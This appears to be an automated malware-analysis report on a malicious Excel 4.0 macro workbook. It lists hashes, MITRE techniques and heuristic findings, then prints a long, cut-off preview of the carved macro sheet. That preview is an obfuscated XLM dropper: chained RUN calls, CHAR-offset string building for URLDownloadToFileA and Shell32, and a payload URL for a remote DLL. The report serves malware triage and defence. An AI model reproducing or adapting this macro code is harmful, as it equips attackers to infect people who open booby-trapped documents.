Office (OOXML) malware analysis — malicious · 61b707fed05e29d8

MALICIOUS

Office (OOXML)

87.0 KB Created: 2020-05-18 18:30:22 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-09-15

MD5: fbec2ff868bf30b8f2c3872f71646604 SHA-1: 029cfd1188a1b6c38dbcbef09a74ef6bb72ffa16 SHA-256: 61b707fed05e29d8c1a1de6c41ef3c7333211f5fc95a5eed33a71ff712b02952

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that utilizes dangerous functions like RUN to execute code. The macros are designed to download a payload from the URLs 'https://ludicrouslyl.at/3/dip.dll' or 'https://ludicrouslyl.at/3/dip'. The use of RUN functions indicates an attempt to execute arbitrary code, likely a second-stage payload.

Heuristics 6

Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 20 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://ludicrouslyl.at/3/dip.dll In document text (OOXML body / shared strings)
- https://ludicrouslyl.at/3/dipIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	45249 bytes
SHA-256: `86f812adfcbd5f06c3773aff438194389c09e555b83a29ada954c75adf656b18`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A10:IN1990"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="10" spans="20:127" x14ac:dyDescent="0.25"><c r="T10" t="b"><f>RUN($AU$133)</f><v>0</v></c></row><row r="11" spans="20:127" x14ac:dyDescent="0.25"><c r="DW11" t="b"><f>RUN($O$1979)</f><v>0</v></c></row><row r="13" spans="20:127" x14ac:dyDescent="0.25"><c r="CJ13"><v>169</v></c></row><row r="21" spans="136:173" x14ac:dyDescent="0.25"><c r="EF21" t="b"><f>RUN($GQ$330)</f><v>0</v></c><c r="FQ21"><v>94</v></c></row><row r="23" spans="136:173" x14ac:dyDescent="0.25"><c r="FM23" t="str"><f>CHAR($BE$1711-158)</f><v>e</v></c></row><row r="36" spans="141:240" x14ac:dyDescent="0.25"><c r="IF36"><v>269</v></c></row><row r="38" spans="141:240" x14ac:dyDescent="0.25"><c r="EK38" t="str"><f>CHAR($AU$828-158)</f><v>n</v></c></row><row r="42" spans="141:240" x14ac:dyDescent="0.25"><c r="GW42" t="b"><f>RUN($BF$502)</f><v>0</v></c></row><row r="44" spans="141:240" x14ac:dyDescent="0.25"><c r="FZ44" t="b"><f>RUN($DJ$1862)</f><v>0</v></c></row><row r="50" spans="25:238" x14ac:dyDescent="0.25"><c r="ID50" t="str"><f>CHAR($IJ$413-158)</f><v>A</v></c></row><row r="52" spans="25:238" x14ac:dyDescent="0.25"><c r="BM52" t="b"><f>RUN($CM$145)</f><v>0</v></c></row><row r="54" spans="25:238" x14ac:dyDescent="0.25"><c r="BB54" t="str"><f>$AP$989</f><v>https://ludicrouslyl.at/3/dip.dll</v></c></row><row r="60" spans="25:238" x14ac:dyDescent="0.25"><c r="Y60" t="b"><f>RUN($FN$1453)</f><v>0</v></c></row><row r="67" spans="22:216" x14ac:dyDescent="0.25"><c r="FO67"><v>219</v></c></row><row r="69" spans="22:216" x14ac:dyDescent="0.25"><c r="FN69"><v>160</v></c></row><row r="73" spans="22:216" x14ac:dyDescent="0.25"><c r="AY73"><v>266</v></c></row><row r="74" spans="22:216" x14ac:dyDescent="0.25"><c r="HH74" t="str"><f>CONCATENATE($GE$1045)</f><v>Shell32</v></c></row><row r="77" spans="22:216" x14ac:dyDescent="0.25"><c r="V77" t="b"><f>RUN($FO$889)</f><v>0</v></c></row><row r="83" spans="66:123" x14ac:dyDescent="0.25"><c r="BN83"><v>186</v></c></row><row r="87" spans="66:123" x14ac:dyDescent="0.25"><c r="CZ87" t="str"><f>CHAR($Y$220-158)</f><v>n</v></c></row><row r="93" spans="66:123" x14ac:dyDescent="0.25"><c r="DS93" t="b"><f>RUN($Q$385)</f><v>0</v></c></row><row r="94" spans="66:123" x14ac:dyDescent="0.25"><c r="DJ94" t="b"><f>RUN($AP$740)</f><v>0</v></c></row><row r="103" spans="111:135" x14ac:dyDescent="0.25"><c r="DG103"><v>94</v></c></row><row r="106" spans="111:135" x14ac:dyDescent="0.25"><c r="EE106" t="str"><f>CONCATENATE($S$404,$BM$183,$CP$942,$BC$1114,$AG$1345,$CF$689,$CB$358,$AR$1809)</f><v>Kernel32</v></c></row><row r="116" spans="49:70" x14ac:dyDescent="0.25"><c r="BR116"><v>985</v></c></row><row r="119" spans="49:70" x14ac:dyDescent="0.25"><c r="AW119"><v>1006</v></c></row><row r="133" spans="47:184" x14ac:dyDescent="0.25"><c r="AU133" t="b"><f>RUN($FC$333)</f><v>0</v></c></row><row r="134" spans="47:184" x14ac:dyDescent="0.25"><c r="BN134"><v>202</v></c><c r="DR134"><v>194</v></c></row><row r="141" spans="47:184" x14ac:dyDescent="0.25"><c r="GB141" t="b"><f>RUN($BM$1518)</f><v>0</v></c></row><row r="144" spans="47:184" x14ac:dyDescent="0.25"><c r="FZ144" t="str"><f>CHAR($CA$666-102)</f><v>T</v></c></row><row r="145" spans="91:91" x14ac:dyDescent="0.25"><c r="CM145" t="b"><f>RUN($GB$141)</f><v>0</v></c></row><row r="161" spans="54:203" x14ac:dyDescent="0.25"><c r="EF161" t="str"><f>CHAR($FM$1635-158)</f><v>e</v></c></row><row r="164" spans="54:203" x14ac:dyDescent="0.25"><c r="GG164" t="b"><f>RUN($GW$593)</f><v>0</v></c></row><row r="166" spans="54:203" x14ac:dyDescent="0.25"><c r="DU166" t="str"><f>CHAR($CY$1402-885)</f><v>3</v></c></row><row r="168" spans="54:203" x14ac:dyDescent="0.25"><c r="GG168" t="str"><f>CHAR($FT$1961-158)</f><v>w</v></c></row><row r="170" spans="54:203" x14ac:dyDescent="0.25"><c r="BB170"><v>608</v></c></row><row r="173" spans="54:203" x14ac:dyDescent="0.25"><c r="GU173"><v>70</v></c></row><row r="175" spans="54:203" x14ac:dyDescent="0.25"><c r="DW175" t="b"><f>RUN($EB$1414)</f><v>0</v></c></row><row r="183" spans="65:160" x14ac:dyDescent="0.25"><c r="BM183" t="str"><f>CHAR($EO$709-557)</f><v>e</v></c></row><row r="185" spans="65:160" x14ac:dyDescent="0.25"><c r="EV185" t="str"><f>CHAR($W$788-102)</f><v>z</v></c></row><row r="191" spans="65:160" x14ac:dyDescent="0.25"><c r="FD191" t="str"><f>CHAR($HK$1692-885)</f><v>l</v></c></row><row r="202" spans="138:138" x14ac:dyDescent="0.25"><c r="EH202"><v>985</v></c></row><row r="212" spans="6:147" x14ac:dyDescent="0.25"><c r="DZ212"><v>202</v></c></row><row r="213" spans="6:147" x14ac:dyDescent="0.25"><c r="EQ213"><v>220</v></c></row><row r="220" spans="6:147" x14ac:dyDescent="0.25"><c r="Y220"><v>268</v></c></row><row r="221" spans="6:147" x14ac:dyDescent="0.25"><c r="DW221" t="str"><f>CHAR($CX$1934-557)</f><v>2</v></c></row><row r="222" spans="6:147" x14ac:dyDescent="0.25"><c r="AV222"><v>81</v></c></row><row r="223" spans="6:147" x14ac:dyDescent="0.25"><c r="F223" t="str"><f>CHAR($HY$321-102)</f><v>n</v></c></row><row r="224" spans="6:147" x14ac:dyDescent="0.25"><c r="AL224" t="str"><f>CHAR($GZ$1737-158)</f><v>a</v></c></row><row r="228" spans="15:229" x14ac:dyDescent="0.25"><c r="HC228" t="str"><f>CONCATENATE($DZ$541,$AU$776,$IL$328,$AL$224,$FC$661,$FR$891,$HX$1715,$FX$1248,$EJ$510,$FM$23,$ES$338,$BG$1757,$AP$540,$DU$1926,$DM$716,$HI$1979)</f><v>CreateDirectoryA</v></c></row><row r="230" spans="15:229" x14ac:dyDescent="0.25"><c r="HU230"><v>15</v></c></row><row r="234" spans="15:229" x14ac:dyDescent="0.25"><c r="O234" t="b"><f>RUN($DE$1492)</f><v>0</v></c></row><row r="236" spans="15:229" x14ac:dyDescent="0.25"><c r="GI236" t="b"><f>RUN($II$603)</f><v>0</v></c></row><row r="242" spans="117:226" x14ac:dyDescent="0.25"><c r="GV242" t="str"><f>CHAR($CM$1184-557)</f><v>S</v></c></row><row r="252" spans="117:226" x14ac:dyDescent="0.25"><c r="HR252" t="str"><f>CHAR($CA$1767-885)</f><v>t</v></c></row><row r="255" spans="117:226" x14ac:dyDescent="0.25"><c r="DM255"><v>997</v></c></row><row r="260" spans="53:148" x14ac:dyDescent="0.25"><c r="ER260" t="str"><f>CHAR($AZ$858-885)</f><v>c</v></c></row><row r="270" spans="53:148" x14ac:dyDescent="0.25"><c r="BA270"><v>74</v></c></row><row r="289" spans="68:237" x14ac:dyDescent="0.25"><c r="BU289" t="b"><f>RUN($BM$52)</f><v>0</v></c></row><row r="290" spans="68:237" x14ac:dyDescent="0.25"><c r="EQ290" t="str"><f>CHAR($HI$809-158)</f><v>a</v></c></row><row r="297" spans="68:237" x14ac:dyDescent="0.25"><c r="BP297"><v>671</v></c></row><row r="300" spans="68:237" x14ac:dyDescent="0.25"><c r="IC300" t="b"><f>RUN($EM$603)</f><v>0</v></c></row><row r="302" spans="68:237" x14ac:dyDescent="0.25"><c r="CF302" t="b"><f>RUN($AO$1699)</f><v>0</v></c></row><row r="308" spans="123:232" x14ac:dyDescent="0.25"><c r="FP308" t="str"><f>CHAR($EZ$1946-557)</f><v>U</v></c></row><row r="309" spans="123:232" x14ac:dyDescent="0.25"><c r="DS309"><v>69</v></c></row><row r="312" spans="123:232" x14ac:dyDescent="0.25"><c r="GC312" t="str"><f>CHAR($IC$1812-557)</f><v>O</v></c></row><row r="315" spans="123:232" x14ac:dyDescent="0.25"><c r="HX315"><v>266</v></c></row><row r="321" spans="27:246" x14ac:dyDescent="0.25"><c r="HY321"><v>212</v></c></row><row r="328" spans="27:246" x14ac:dyDescent="0.25"><c r="IL328" t="str"><f>CHAR($GF$616-158)</f><v>e</v></c></row><row r="330" spans="27:246" x14ac:dyDescent="0.25"><c r="GQ330" t="b"><f>RUN($AU$538)</f><v>0</v></c></row><row r="332" spans="27:246" x14ac:dyDescent="0.25"><c r="AA332" t="b"><f>RUN($DH$774)</f><v>0</v></c></row><row r="333" spans="27:246" x14ac:dyDescent="0.25"><c r="FC333" t="b"><f>RUN($O$234)</f><v>0</v></c></row><row r="334" spans="27:246" x14ac:dyDescent="0.25"><c r="GT334"><v>12</v></c></row><row r="337" spans="57:235" x14ac:dyDescent="0.25"><c r="BE337" t="str"><f>CHAR($DD$1654-885)</f><v>p</v></c></row><row r="338" spans="57:235" x14ac:dyDescent="0.25"><c r="ES338" t="str"><f>CHAR($HQ$1990-158)</f><v>c</v></c><c r="IA338"><v>266</v></c></row><row r="354" spans="80:164" x14ac:dyDescent="0.25"><c r="FH354"><v>943</v></c></row><row r="358" spans="80:164" x14ac:dyDescent="0.25"><c r="CB358" t="str"><f>CHAR($AW$1150-557)</f><v>3</v></c><c r="DG358" t="str"><f>CHAR($BN$134-102)</f><v>d</v></c></row><row r="373" spans="48:219" x14ac:dyDescent="0.25"><c r="AV373" t="str"><f>CHAR($FI$1840-102)</f><v>l</v></c></row><row r="374" spans="48:219" x14ac:dyDescent="0.25"><c r="HK374" t="str"><f>CHAR($BD$1259-158)</f><v>x</v></c></row><row r="377" spans="48:219" x14ac:dyDescent="0.25"><c r="CL377"><v>999</v></c></row><row r="385" spans="17:218" x14ac:dyDescent="0.25"><c r="Q385" t="b"><f>RUN($AA$332)</f><v>0</v></c></row><row r="387" spans="17:218" x14ac:dyDescent="0.25"><c r="EK387"><v>46</v></c><c r="GG387"><v>1000</v></c></row><row r="389" spans="17:218" x14ac:dyDescent="0.25"><c r="CI389" t="str"><f>CHAR($AO$1341-158)</f><v>D</v></c><c r="DZ389"><v>73</v></c></row><row r="393" spans="17:218" x14ac:dyDescent="0.25"><c r="HJ393" t="str"><f>CHAR($CA$757-885)</f><v>l</v></c></row><row r="404" spans="19:244" x14ac:dyDescent="0.25"><c r="S404" t="str"><f>CHAR($GP$1244-557)</f><v>K</v></c></row><row r="408" spans="19:244" x14ac:dyDescent="0.25"><c r="IA408"><v>658</v></c></row><row r="411" spans="19:244" x14ac:dyDescent="0.25"><c r="GP411" t="str"><f>CONCATENATE($AT$918,$BC$1576,$EE$1090,$CI$389,$BI$861,$GG$168,$CZ$87,$EW$793,$CY$1936,$EQ$290,$CC$1143,$IH$1824,$AP$1072,$DP$563,$HB$1047,$BD$1871,$EF$161,$CO$1388)</f><v>URLDownloadToFileA</v></c></row><row r="413" spans="19:244" x14ac:dyDescent="0.25"><c r="IJ413"><v>223</v></c></row><row r="427" spans="67:203" x14ac:dyDescent="0.25"><c r="GU427"><v>44</v></c></row><row r="432" spans="67:203" x14ac:dyDescent="0.25"><c r="BO432" t="b"><f>RUN($DR$1343)</f><v>0</v></c></row><row r="438" spans="119:186" x14ac:dyDescent="0.25"><c r="DO438" t="b"><f>RUN($DJ$94)</f><v>0</v></c></row><row r="439" spans="119:186" x14ac:dyDescent="0.25"><c r="GD439" t="str"><f>CHAR($FD$1517-102)</f><v>q</v></c></row><row r="443" spans="119:186" x14ac:dyDescent="0.25"><c r="DT443"><v>148</v></c></row><row r="463" spans="52:52" x14ac:dyDescent="0.25"><c r="AZ463" t="str"><f>CHAR($GS$1101-102)</f><v>k</v></c></row><row r="480" spans="183:183" x14ac:dyDescent="0.25"><c r="GA480"><v>58</v></c></row><row r="485" spans="201:201" x14ac:dyDescent="0.25"><c r="GS485"><v>51</v></c></row><row r="502" spans="58:140" x14ac:dyDescent="0.25"><c r="BF502" t="b"><f>RUN($BA$709)</f><v>0</v></c></row><row r="510" spans="58:140" x14ac:dyDescent="0.25"><c r="EJ510" t="str"><f>CHAR($AM$657-158)</f><v>r</v></c></row><row r="513" spans="217:217" x14ac:dyDescent="0.25"><c r="HI513" t="b"><f>RUN($CB$1783)</f><v>0</v></c></row><row r="529" spans="23:215" x14ac:dyDescent="0.25"><c r="HG529" t="str"><f>CHAR($CJ$13-102)</f><v>C</v></c></row><row r="531" spans="23:215" x14ac:dyDescent="0.25"><c r="AT531" t="str"><f>CHAR($GV$537-885)</f><v>.</v></c><c r="CF531"><v>210</v></c></row><row r="537" spans="23:215" x14ac:dyDescent="0.25"><c r="GV537"><v>931</v></c></row><row r="538" spans="23:215" x14ac:dyDescent="0.25"><c r="AU538" t="b"><f>RUN($AY$1198)</f><v>0</v></c><c r="DR538" t="b"><f>RUN($CM$1800)</f><v>0</v></c></row><row r="540" spans="23:215" x14ac:dyDescent="0.25"><c r="AP540" t="str"><f>CHAR($HT$637-158)</f><v>o</v></c></row><row r="541" spans="23:215" x14ac:dyDescent="0.25"><c r="DZ541" t="str"><f>CHAR($FK$1160-158)</f><v>C</v></c></row><row r="543" spans="23:215" x14ac:dyDescent="0.25"><c r="W543" t="b"><f>RUN($IB$1502)</f><v>0</v></c></row><row r="547" spans="1:80" x14ac:dyDescent="0.25"><c r="A547"><v>97</v></c><c r="AS547"><v>274</v></c></row><row r="553" spans="1:80" x14ac:dyDescent="0.25"><c r="F553" t="str"><f>CHAR($FX$1842-102)</f><v>Q</v></c></row><row r="559" spans="1:80" x14ac:dyDescent="0.25"><c r="CB559" t="str"><f>CHAR($AK$640-885)</f><v>a</v></c></row><row r="562" spans="42:220" x14ac:dyDescent="0.25"><c r="AR562" t="b"><f>RUN($HI$513)</f><v>0</v></c></row><row r="563" spans="42:220" x14ac:dyDescent="0.25"><c r="DP563" t="str"><f>CHAR($DI$779-158)</f><v>F</v></c></row><row r="566" spans="42:220" x14ac:dyDescent="0.25"><c r="AP566" t="b"><f>RUN($BU$289)</f><v>0</v></c></row><row r="569" spans="42:220" x14ac:dyDescent="0.25"><c r="EA569" t="b"><f>RUN($BQ$1950)</f><v>0</v></c></row><row r="570" spans="42:220" x14ac:dyDescent="0.25"><c r="EH570" t="str"><f>CHAR($FO$67-102)</f><v>u</v></c></row><row r="571" spans="42:220" x14ac:dyDescent="0.25"><c r="HL571" t="str"><f>CHAR($DR$1560-102)</f><v>b</v></c></row><row r="572" spans="42:220" x14ac:dyDescent="0.25"><c r="EG572" t="str"><f>CHAR($FW$769-885)</f><v>l</v></c></row><row r="585" spans="94:94" x14ac:dyDescent="0.25"><c r="CP585" t="b"><f>RUN($AW$785)</f><v>0</v></c></row><row r="593" spans="75:243" x14ac:dyDescent="0.25"><c r="GW593" t="b"><f>RUN($DS$93)</f><v>0</v></c></row><row r="598" spans="75:243" x14ac:dyDescent="0.25"><c r="GZ598"><v>86</v></c></row><row r="601" spans="75:243" x14ac:dyDescent="0.25"><c r="EC601" t="str"><f>CHAR($DM$255-885)</f><v>p</v></c></row><row r="602" spans="75:243" x14ac:dyDescent="0.25"><c r="FN602" t="str"><f>CHAR($GG$387-885)</f><v>s</v></c></row><row r="603" spans="75:243" x14ac:dyDescent="0.25"><c r="EM603" t="b"><f>RUN($EF$21)</f><v>0</v></c><c r="II603" t="b"><f>RUN($CS$1817)</f><v>0</v></c></row><row r="606" spans="75:243" x14ac:dyDescent="0.25"><c r="BW606"><v>194</v></c></row><row r="613" spans="18:188" x14ac:dyDescent="0.25"><c r="FW613"><v>55</v></c></row><row r="615" spans="18:188" x14ac:dyDescent="0.25"><c r="R615" t="b"><f>RUN($HX$1613)</f><v>0</v></c></row><row r="616" spans="18:188" x14ac:dyDescent="0.25"><c r="GF616"><v>259</v></c></row><row r="627" spans="37:228" x14ac:dyDescent="0.25"><c r="BP627" t="str"><f>CHAR($AW$119-885)</f><v>y</v></c></row><row r="637" spans="37:228" x14ac:dyDescent="0.25"><c r="HT637"><v>269</v></c></row><row r="640" spans="37:228" x14ac:dyDescent="0.25"><c r="AK640"><v>982</v></c></row><row r="643" spans="37:37" x14ac:dyDescent="0.25"><c r="AK643" t="b"><f>RUN($GF$1320)</f><v>0</v></c></row><row r="657" spans="39:234" x14ac:dyDescent="0.25"><c r="AM657"><v>272</v></c></row><row r="661" spans="39:234" x14ac:dyDescent="0.25"><c r="FC661" t="str"><f>CHAR($AS$547-158)</f><v>t</v></c></row><row r="666" spans="39:234" x14ac:dyDescent="0.25"><c r="CA666"><v>186</v></c></row><row r="668" spans="39:234" x14ac:dyDescent="0.25"><c r="HZ668"><v>661</v></c></row><row r="689" spans="63:157" x14ac:dyDescent="0.25"><c r="CF689" t="str"><f>CHAR($GV$1114-557)</f><v>l</v></c></row><row r="690" spans="63:157" x14ac:dyDescent="0.25"><c r="EF690" t="str"><f>CHAR($BB$1735-557)</f><v>N</v></c></row><row r="695" spans="63:157" x14ac:dyDescent="0.25"><c r="FA695"><v>226</v></c></row><row r="697" spans="63:157" x14ac:dyDescent="0.25"><c r="BK697" t="str"><f>CHAR($EH$202-885)</f><v>d</v></c></row><row r="709" spans="53:244" x14ac:dyDescent="0.25"><c r="BA709" t="b"><f>RUN($FD$1258)</f><v>0</v></c><c r="EO709"><v>658</v></c></row><row r="711" spans="53:244" x14ac:dyDescent="0.25"><c r="IJ711" t="str"><f>CHAR($IN$1415-158)</f><v>e</v></c></row><row r="716" spans="53:244" x14ac:dyDescent="0.25"><c r="DM716" t="str"><f>CHAR($FJ$1817-158)</f><v>y</v></c></row><row r="717" spans="53:244" x14ac:dyDescent="0.25"><c r="BO717"><v>169</v></c></row><row r="723" spans="70:224" x14ac:dyDescent="0.25"><c r="HP723"><v>76</v></c></row><row r="726" spans="70:224" x14ac:dyDescent="0.25"><c r="EV726"><v>28</v></c></row><row r="732" spans="70:224" x14ac:dyDescent="0.25"><c r="BR732" t="str"><f>CONCATENATE($AN$1106)</f><v>Open</v></c></row><row r="740" spans="42:121" x14ac:dyDescent="0.25"><c r="AP740" t="b"><f>RUN($DW$175)</f><v>0</v></c></row><row r="745" spans="42:121" x14ac:dyDescent="0.25"><c r="DQ745"><v>993</v></c></row><row r="754" spans="79:196" x14ac:dyDescent="0.25"><c r="GN754"><v>51</v></c></row><row r="757" spans="79:196" x14ac:dyDescent="0.25"><c r="CA757"><v>993</v></c></row><row r="769" spans="47:231" x14ac:dyDescent="0.25"><c r="FI769" t="b"><f>RUN($AM$1287)</f><v>0</v></c><c r="FW769"><v>993</v></c></row><row r="772" spans="47:231" x14ac:dyDescent="0.25"><c r="HW772"><v>85</v></c></row><row r="774" spans="47:231" x14ac:dyDescent="0.25"><c r="DH774" t="b"><f>RUN($FZ$965)</f><v>0</v></c></row><row r="776" spans="47:231" x14ac:dyDescent="0.25"><c r="AU776" t="str"><f>CHAR($FU$983-158)</f><v>r</v></c></row><row r="779" spans="47:231" x14ac:dyDescent="0.25"><c r="DI779"><v>228</v></c></row><row r="785" spans="23:153" x14ac:dyDescent="0.25"><c r="AW785" t="b"><f>RUN($DB$1503)</f><v>0</v></c></row><row r="788" spans="23:153" x14ac:dyDescent="0.25"><c r="W788"><v>224</v></c></row><row r="793" spans="23:153" x14ac:dyDescent="0.25"><c r="EW793" t="str"><f>CHAR($HX$315-158)</f><v>l</v></c></row><row r="799" spans="23:153" x14ac:dyDescent="0.25"><c r="AY799" t="str"><f>CHAR($ES$1250-158)</f><v>e</v></c></row><row r="805" spans="9:224" x14ac:dyDescent="0.25"><c r="HP805"><v>1002</v></c></row><row r="809" spans="9:224" x14ac:dyDescent="0.25"><c r="HI809"><v>255</v></c></row><row r="813" spans="9:224" x14ac:dyDescent="0.25"><c r="GG813"><v>223</v></c></row><row r="815" spans="9:224" x14ac:dyDescent="0.25"><c r="I815"><v>241</v></c></row><row r="817" spans="17:186" x14ac:dyDescent="0.25"><c r="CE817" t="str"><f>CHAR($EO$921-158)</f><v>e</v></c></row><row r="818" spans="17:186" x14ac:dyDescent="0.25"><c r="Q818" t="str"><f>CHAR($CL$377-885)</f><v>r</v></c><c r="AS818" t="str"><f>CHAR($HC$1981-158)</f><v>O</v></c><c r="BM818"><v>985</v></c></row><row r="827" spans="17:186" x14ac:dyDescent="0.25"><c r="GD827"><v>41</v></c></row><row r="828" spans="17:186" x14ac:dyDescent="0.25"><c r="AU828"><v>268</v></c></row><row r="841" spans="67:79" x14ac:dyDescent="0.25"><c r="BO841" t="b"><f>RUN($HS$1630)</f><v>0</v></c></row><row r="847" spans="67:79" x14ac:dyDescent="0.25"><c r="CA847" t="b"><f>RUN($AE$1865)</f><v>0</v></c></row><row r="857" spans="52:150" x14ac:dyDescent="0.25"><c r="ET857" t="b"><f>RUN($FJ$1684)</f><v>0</v></c></row><row r="858" spans="52:150" x14ac:dyDescent="0.25"><c r="AZ858"><v>984</v></c></row><row r="861" spans="52:150" x14ac:dyDescent="0.25"><c r="BI861" t="str"><f>CHAR($CM$1546-158)</f><v>o</v></c></row><row r="862" spans="52:150" x14ac:dyDescent="0.25"><c r="AZ862" t="b"><f>RUN($V$77)</f><v>0</v></c></row><row r="889" spans="171:243" x14ac:dyDescent="0.25"><c r="FO889" t="b"><f>RUN($FD$1584)</f><v>0</v></c></row><row r="891" spans="171:243" x14ac:dyDescent="0.25"><c r="FR891" t="str"><f>CHAR($FT$1657-158)</f><v>e</v></c></row><row r="893" spans="171:243" x14ac:dyDescent="0.25"><c r="HA893" t="str"><f>CHAR($HP$805-885)</f><v>u</v></c><c r="II893" t="b"><f>RUN($DR$1907)</f><v>0</v></c></row><row r="901" spans="3:108" x14ac:dyDescent="0.25"><c r="C901"><v>263</v></c><c r="J901"><v>932</v></c></row><row r="906" spans="3:108" x14ac:dyDescent="0.25"><c r="DD906"><v>932</v></c></row><row r="917" spans="46:182" x14ac:dyDescent="0.25"><c r="FZ917"><v>38</v></c></row><row r="918" spans="46:182" x14ac:dyDescent="0.25"><c r="AT918" t="str"><f>CHAR($EB$961-158)</f><v>U</v></c></row><row r="921" spans="46:182" x14ac:dyDescent="0.25"><c r="EO921"><v>259</v></c></row><row r="933" spans="11:175" x14ac:dyDescent="0.25"><c r="FS933"><v>634</v></c></row><row r="936" spans="11:175" x14ac:dyDescent="0.25"><c r="AC936" t="str"><f>CHAR($HH$1275-557)</f><v>l</v></c></row><row r="942" spans="11:175" x14ac:dyDescent="0.25"><c r="K942"><v>70</v></c><c r="CP942" t="str"><f>CHAR($BP$297-557)</f><v>r</v></c></row><row r="953" spans="44:192" x14ac:dyDescent="0.25"><c r="EH953" t="b"><f>RUN($EM$1912)</f><v>0</v></c><c r="GJ953" t="str"><f>CHAR($CF$531-102)</f><v>l</v></c></row><row r="954" spans="44:192" x14ac:dyDescent="0.25"><c r="AY954" t="str"><f>CHAR($AQ$1450-102)</f><v>q</v></c></row><row r="957" spans="44:192" x14ac:dyDescent="0.25"><c r="AR957"><v>275</v></c></row><row r="961" spans="48:202" x14ac:dyDescent="0.25"><c r="EB961"><v>243</v></c></row><row r="963" spans="48:202" x14ac:dyDescent="0.25"><c r="GT963" t="b"><f>RUN($DW$11)</f><v>0</v></c></row><row r="964" spans="48:202" x14ac:dyDescent="0.25"><c r="AV964"><v>57</v></c><c r="DJ964" t="b"><f>RUN($W$543)</f><v>0</v></c><c r="DL964" t="str"><f>CHAR($DN$1160-102)</f><v>\</v></c></row><row r="965" spans="48:202" x14ac:dyDescent="0.25"><c r="FZ965" t="b"><f>RUN($IL$1144)</f><v>0</v></c></row><row r="983" spans="26:204" x14ac:dyDescent="0.25"><c r="BL983"><v>658</v></c><c r="FU983"><v>272</v></c></row><row r="988" spans="26:204" x14ac:dyDescent="0.25"><c r="GV988" t="b"><f>RUN($AC$1420)</f><v>0</v></c></row><row r="989" spans="26:204" x14ac:dyDescent="0.25"><c r="AP989" t="str"><f>CONCATENATE($HW$1568,$IG$1175)</f><v>https://ludicrouslyl.at/3/dip.dll</v></c></row><row r="990" spans="26:204" x14ac:dyDescent="0.25"><c r="Z990" t="str"><f>CHAR($CB$1575-885)</f><v>.</v></c></row><row r="1002" spans="108:108" x14ac:dyDescent="0.25"><c r="DD1002"><v>77</v></c></row><row r="1012" spans="90:166" x14ac:dyDescent="0.25"><c r="CO1012" t="str"><f>CHAR($I$815-158)</f><v>S</v></c></row><row r="1013" spans="90:166" x14ac:dyDescent="0.25"><c r="FJ1013" t="b"><f>RUN($GW$1389)</f><v>0</v></c></row><row r="1016" spans="90:166" x14ac:dyDescent="0.25"><c r="CL1016"><v>1001</v></c></row><row r="1025" spans="65:241" x14ac:dyDescent="0.25"><c r="HJ1025"><v>993</v></c></row><row r="1029" spans="65:241" x14ac:dyDescent="0.25"><c r="GH1029" t="str"><f>CHAR($AU$1373-885)</f><v>u</v></c></row><row r="1038" spans="65:241" x14ac:dyDescent="0.25"><c r="CB1038" t="b"><f>RUN($DO$438)</f><v>0</v></c></row><row r="1039" spans="65:241" x14ac:dyDescent="0.25"><c r="BM1039" t="str"><f>CHAR($ID$1555-102)</f><v>Y</v></c><c r="IG1039" t="str"><f>CHAR($K$1710-557)</f><v>R</v></c></row><row r="1042" spans="45:210" x14ac:dyDescent="0.25"><c r="AS1042" t="str"><f>CHAR($HE$1984-102)</f><v>V</v></c></row><row r="1045" spans="45:210" x14ac:dyDescent="0.25"><c r="CF1045"><v>222</v></c><c r="GE1045" t="str"><f>CONCATENATE($GV$242,$GZ$1910,$CE$1823,$FO$1100,$AC$936,$CS$1399,$DW$221)</f><v>Shell32</v></c></row><row r="1047" spans="45:210" x14ac:dyDescent="0.25"><c r="HB1047" t="str"><f>CHAR($C$901-158)</f><v>i</v></c></row><row r="1048" spans="45:210" x14ac:dyDescent="0.25"><c 